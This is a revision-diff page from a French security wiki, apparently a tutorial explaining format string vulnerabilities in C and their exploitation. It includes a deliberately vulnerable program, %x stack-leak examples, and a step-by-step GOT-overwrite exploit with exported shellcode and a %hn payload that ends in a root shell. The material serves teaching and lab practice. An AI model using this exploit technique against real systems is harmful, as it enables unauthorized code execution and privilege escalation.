Outils d'utilisateurs

Outils du Site


failles_app:format_string

Différences

Cette page vous donne les différences entre la révision choisie et la version actuelle de la page.

Lien vers cette vue

failles_app:format_string [2012/06/27 09:47]
ezano [4.2 Pratique]
failles_app:format_string [2017/04/09 15:33] (Version actuelle)
Ligne 7: Ligne 7:
  Je vais donc tenter d’expliquer le principe des Format String de la façon dont j’aurais aimé qu’on le fasse au moment ou j’ai moi-même appris.  Je vais donc tenter d’expliquer le principe des Format String de la façon dont j’aurais aimé qu’on le fasse au moment ou j’ai moi-même appris.
  
-\\ +======= SOMMAIRE =======
- +
-SOMMAIRE +
----- +
- +
-\\+
  
   * 1 Rappels sur les fonctions de la famille printf()   * 1 Rappels sur les fonctions de la famille printf()
Ligne 24: Ligne 19:
       * 2.3.2 Les formateurs "pointeurs"       * 2.3.2 Les formateurs "pointeurs"
       * 2.3.3 Le formateur %n       * 2.3.3 Le formateur %n
-  * La faille Format String, exploitation+  * La faille Format String, exploitation classique
     * 3.1 Théorie     * 3.1 Théorie
-    * 3.2 Pratique +    * 3.2 Facilités d'écriture 
-  +      * 3.2.1 Raccourcis 
 +      * 3.2.2 Génération de caractères 
 +    * 3.3 Pratique 
 +  * 4 Exploitation via la Global Offset Table 
 +    * Pré-requis 
 +    * 4.1 Théorie 
 +      * 4.1.1 Section PLT 
 +      * 4.1.2 Section GOT 
 +    * 4.2 Pratique 
 +  * 5 Ressources
  
 +\\
  
 ======= 1 Rappels sur les fonctions de la famille printf() ======= ======= 1 Rappels sur les fonctions de la famille printf() =======
Ligne 140: Ligne 144:
  
 <file X Terminal> <file X Terminal>
-[root@VmZenk:~/tests]$ ./vuln %x%x%x%x +[root@VmZenk:~/tests]$ ./vuln "%08x %08x %08x %08x" 
-bffffea23fff078257825+bffffea2 000003ff 000000f0 78257825
 </file> </file>
  
-Le formateur %x est donc un formateur "direct" pour la raison suivante : il affiche tout simplement la valeur qu'il trouve sur la pile. Voyons ça avec une petite représentation de la pile. Ne vous inquiétez pas, les valeurs de la pile correspondent à l’affichage sauf que dans le terminal les 0 sont tronqués.+Le formateur %x est donc un formateur "direct" pour la raison suivante : il affiche tout simplement la valeur qu'il trouve sur la pile. %08x demande au formateur %x d'afficher la donnée sous la forme d'un nombre décimal de 8 caractère maximum précédé de 0. 
 +Voyons ça avec une petite représentation de la pile. 
  
                   PILE                   PILE
Ligne 435: Ligne 441:
    
  
-======= 4 La faille Format String, exploitation via la Global Offset Table =======+======= 4 Exploitation via la Global Offset Table ======= 
 + 
 +====== Pré-requis ======
  
 <file C vuln.c> <file C vuln.c>
Ligne 462: Ligne 470:
 } }
 </file> </file>
- 
 ====== 4.1 Théorie ====== ====== 4.1 Théorie ======
  
Ligne 578: Ligne 585:
 ------------------------------------------------------------------------------- -------------------------------------------------------------------------------
  
-//On exporte le shellcode...+//On exporte le shellcode...//
 <file X Terminal> <file X Terminal>
 ezano@Practice:~/Hacking $ export SHELLCODE=`python -c 'print "\x31\xc0\x31\xdb ezano@Practice:~/Hacking $ export SHELLCODE=`python -c 'print "\x31\xc0\x31\xdb
Ligne 586: Ligne 593:
  
  
-//On determine l'adresse...+//On determine l'adresse...//
 <file X Terminal> <file X Terminal>
 ezano@Practice:~/Hacking $ ./get_env SHELLCODE ./vuln ezano@Practice:~/Hacking $ ./get_env SHELLCODE ./vuln
Ligne 593: Ligne 600:
  
  
-//On fais les calculs nécessaire pour la réecriture d'adresse...+//On fais les calculs nécessaire pour la réecriture d'adresse...//
 <file X Terminal> <file X Terminal>
 ezano@Practice:~/Hacking $ gdbGNU gdb 6.6-debian ezano@Practice:~/Hacking $ gdbGNU gdb 6.6-debian
Ligne 610: Ligne 617:
  
  
-//On désassemble la GOT (beaucoup de methodes possible)+//On désassemble la GOT (beaucoup de methodes possible)//
 <file X Terminal> <file X Terminal>
 ezano@Practice:~/Hacking $ objdump -R ./vuln ezano@Practice:~/Hacking $ objdump -R ./vuln
Ligne 626: Ligne 633:
 </file> </file>
  
-//On exploite...+//On exploite...//
 <file X Terminal> <file X Terminal>
 ezano@Practice:~/Hacking $ ./vuln $(printf "\x56\x96\x04\x08\x54\x96\x04\x08")%49143x%4\$hn%14883x%5\$hn ezano@Practice:~/Hacking $ ./vuln $(printf "\x56\x96\x04\x08\x54\x96\x04\x08")%49143x%4\$hn%14883x%5\$hn
 +sh-3.2#
 </file> </file>
- 
 w00t. w00t.
-<file X Terminal> 
-sh-3.2# 
-</file> 
- 
- 
- 
- 
- 
- 
  
 +======= 5 Ressources =======
  
 +[[http://julianor.tripod.com/bc/formatstring-1.2.pdf|Exploiting Format String Vulnerability]]
  
  
failles_app/format_string.1340783257.txt.gz · Dernière modification: 2017/04/09 15:33 (modification externe)